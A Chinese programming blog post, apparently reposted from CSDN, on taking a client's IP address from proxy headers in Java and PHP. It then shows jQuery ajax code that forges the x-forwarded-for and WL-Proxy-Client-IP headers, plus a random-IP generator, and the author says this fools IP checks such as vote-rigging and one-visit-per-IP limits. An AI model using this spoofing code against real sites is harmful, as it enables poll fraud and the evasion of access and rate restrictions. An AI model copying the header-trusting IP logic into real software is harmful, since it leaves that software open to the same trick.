ajax header

在JAVA与PHP的程序中,为了保证IP的正确性,经常采用如下的方法获取浏览器端的IP地址,代码如下:

String ip = request.getHeader("x-forwarded-for");
if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
    ip = request.getHeader("Proxy-Client-IP");
}
if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
    ip = request.getHeader("WL-Proxy-Client-IP");
}
if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) {
    ip = request.getRemoteAddr();
}
return ip;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

恰恰因为这所谓的安全性,才让我们找到了轻易替换IP地址的方法,我们只需要伪造这样的头部“x-forwarded-for”、“Proxy-Client-IP”、“WL-Proxy-Client-IP”,即可让服务器认为我们的地址是伪造的地址,从而绕过服务器端IP地址范围、单一IP地址不可多次访问等限制措施。

$.ajax的伪造IP地址的方法如下:

$.ajax('/login', {
    headers : {
        'x-forwarded-for': ip,
        //  'Proxy-Client-IP': ip,
        'WL-Proxy-Client-IP': ip
    },
    method:'POST',
    contentType:'application/json;charset=utf-8',
    //  以Payload方式提交
    data : JSON.stringify(data),
    success : function(datas) {
        //  输出结果
        console.log(datas)
    }
})
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

经测试,以上方法能骗过网上很多的IP地址测试,比如拉选票等,产生随地IP的方法如下(太简单粗暴了,建议改进):

//  这产生的IP可能会落在内网
function createIp() {
    var a = Math.round(Math.random() * 250) + 1,
        b = Math.round(Math.random() * 250) + 1,
    c = Math.round(Math.random() * 240) + 1,
    d = Math.round(Math.random() * 240) + 1;
    return [a, b, c, d].join('.');

}

用php能获取客户端ip,这个大家都知道,代码如下:

[php]  view plain  copy
  1. /** 
  2.  * 获取客户端ip 
  3.  * @param number $type 
  4.  * @return string 
  5.  */  
  6. function getClientIp($type = 0) {  
  7.     $type       =  $type ? 1 : 0;  
  8.     static $ip  =   NULL;  
  9.     if ($ip !== NULL) return $ip[$type];  
  10.     if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  
  11.         $arr    =   explode(','$_SERVER['HTTP_X_FORWARDED_FOR']);  
  12.         $pos    =   array_search('unknown',$arr);  
  13.         if(false !== $pos) unset($arr[$pos]);  
  14.         $ip     =   trim($arr[0]);  
  15.     }elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {  
  16.         $ip     =   $_SERVER['HTTP_CLIENT_IP'];  
  17.     }elseif (isset($_SERVER['REMOTE_ADDR'])) {  
  18.         $ip     =   $_SERVER['REMOTE_ADDR'];  
  19.     }  
  20.     // IP地址合法验证  
  21.     $long = sprintf("%u",ip2long($ip));  
  22.     $ip   = $long ? array($ip$long) : array('0.0.0.0', 0);  
  23.     return $ip[$type];  
  24. }  

猜你喜欢

转载自blog.csdn.net/gong1422425666/article/details/80334549